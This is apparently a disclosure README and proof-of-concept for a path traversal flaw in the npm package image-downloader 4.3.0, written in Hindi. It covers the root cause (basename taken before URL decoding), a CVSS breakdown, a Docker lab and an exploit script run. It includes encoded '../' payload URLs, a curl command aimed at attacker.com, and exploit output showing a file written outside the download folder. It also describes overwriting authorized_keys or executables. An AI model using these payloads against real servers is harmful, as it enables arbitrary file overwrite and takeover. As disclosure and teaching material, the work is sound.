
CVE-2026-103648 के लिए एडवाइज़री और PoC, जो image-downloader 4.3.0 में एक पाथ ट्रैवर्सल (CWE-22) है जो मनमानी फ़ाइल राइट की सुविधा देता है, साथ में रूट-कॉज़ विश्लेषण, पैच डिफ़, और Docker लैब।
image-downloader में पाथ ट्रैवर्सल
खोजकर्ता: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ केवल शैक्षिक उद्देश्यों के लिए। यह रिपॉज़िटरी एक ज़िम्मेदारीपूर्वक प्रकट की गई भेद्यता का दस्तावेज़ीकरण करती है। सभी PoC कोड केवल अधिकृत सुरक्षा अनुसंधान और पृथक लैब वातावरण में परीक्षण के लिए हैं। उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD प्रविष्टि | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 स्कोर | 9.1 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: किसी पथनाम का प्रतिबंधित निर्देशिका तक अनुचित सीमितीकरण |
| पैकेज | image-downloader (npm) द्वारा demsking |
| साप्ताहिक npm डाउनलोड | ~11,000 (~38,000/माह) — स्रोत |
| प्रभावित संस्करण | < 4.3.1 (4.3.0 सहित सभी संस्करण) |
| ठीक किया गया संस्करण | 4.3.1 |
| आवंटनकर्ता | GitLab |
| प्रकाशित | 2026-10-02 |
| रिपोर्टर | Amirhossein Roustaei (@EterNullSec), Eternull Security |
यह भेद्यता [email protected] के फ़ाइलनाम-निष्कर्षण लॉजिक में है। यह प्रभावित संस्करण का वास्तविक स्रोत है (index.js, सीधे प्रकाशित npm पैकेज से लिया गया):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) को अभी भी प्रतिशत-एन्कोडेड URL पथनाम पर कॉल किया जाता है। %2e%2e%2fpwned.sh जैसे अनुक्रम में कोई शाब्दिक / नहीं होता, इसलिए path.basename() पूरी चीज़ को एक ही फ़ाइलनाम मानता है और इसे अपरिवर्तित लौटा देता है — कुछ भी हटाया नहीं जाता।decodeURIComponent() से गुज़ारा जाता है। यही वह चरण है जो %2e%2e%2f को वापस शाब्दिक ../ में बदल देता है — लेकिन अब तक यह उस basename चरण से बच चुका है जिसे इसे साफ़ करना था।path.join(options.dest, decodedBasename) को ऐसी स्ट्रिंग के साथ कॉल किया जाता है जिसमें अब वास्तविक ../ खंड है। path.join() .. को उसी तरह सामान्यीकृत करता है जैसे cd .. करता — इसलिए अंतिम लेखन पथ options.dest के बाहर किसी स्थान पर पहुँच जाता है।संक्षेप में: कोड फ़ाइलनाम को सही तरीके से डिकोड करता है, बस path.basename() के सापेक्ष गलत क्रम में। डिकोड-फिर-basename सुरक्षित है; basename-फिर-डिकोड नहीं है।
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
यह लैब पुनरुत्पादन की सुविधा के लिए बग के तंत्र को एक ही स्क्रिप्ट में शुरू से अंत तक प्रदर्शित करती है, लेकिन वास्तविक दुनिया के आक्रमण मॉडल को स्पष्ट रूप से बताना उचित है:
image-downloader के download.image({ url, dest }) को ऐसे url मान के साथ कॉल करता है जिसे उसने स्वयं पूरी तरह नियंत्रित नहीं किया — जैसे उपयोगकर्ता द्वारा सबमिट किया गया URL (अवतार/छवि आयात सुविधाएँ), वेबहुक पेलोड से लिया गया, या RSS/सामग्री फ़ीड से पढ़ा गया।url इंगित करता है, और उस URL के पथ घटक को नियंत्रित करता है — जो अपने आप में पर्याप्त है, क्योंकि ट्रैवर्सल URL पथ (%2e%2e%2f...) में रहता है, प्रतिक्रिया बॉडी में नहीं।authorized_keys फ़ाइल, या ऐसी executable को ओवरराइट करना जिसे ऐप बाद में चलाता है)।exploit/exploit.py में, लैब सुविधा के लिए आक्रमणकर्ता और पीड़ित की भूमिकाओं को एक ही स्क्रिप्ट में समाहित किया गया है (यह "पीड़ित" सर्वर अनुरोध और आक्रमणकर्ता-नियंत्रित पेलोड सर्वर दोनों को खड़ा करती है)। वास्तविक शोषण परिदृश्य में ये दो अलग, असंबंधित पक्ष होते हैं — PoC को इस तरह संरचित किया गया है केवल इसलिए ताकि भेद्यता एक ही कमांड से पुनरुत्पादनीय हो।
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
भेद्य सर्वर http://localhost:3000 पर उपलब्ध होगा।
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
या मैनुअल रूप से curl के साथ (ट्रैवर्सल URL पथ में है, प्रतिक्रिया बॉडी में नहीं):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec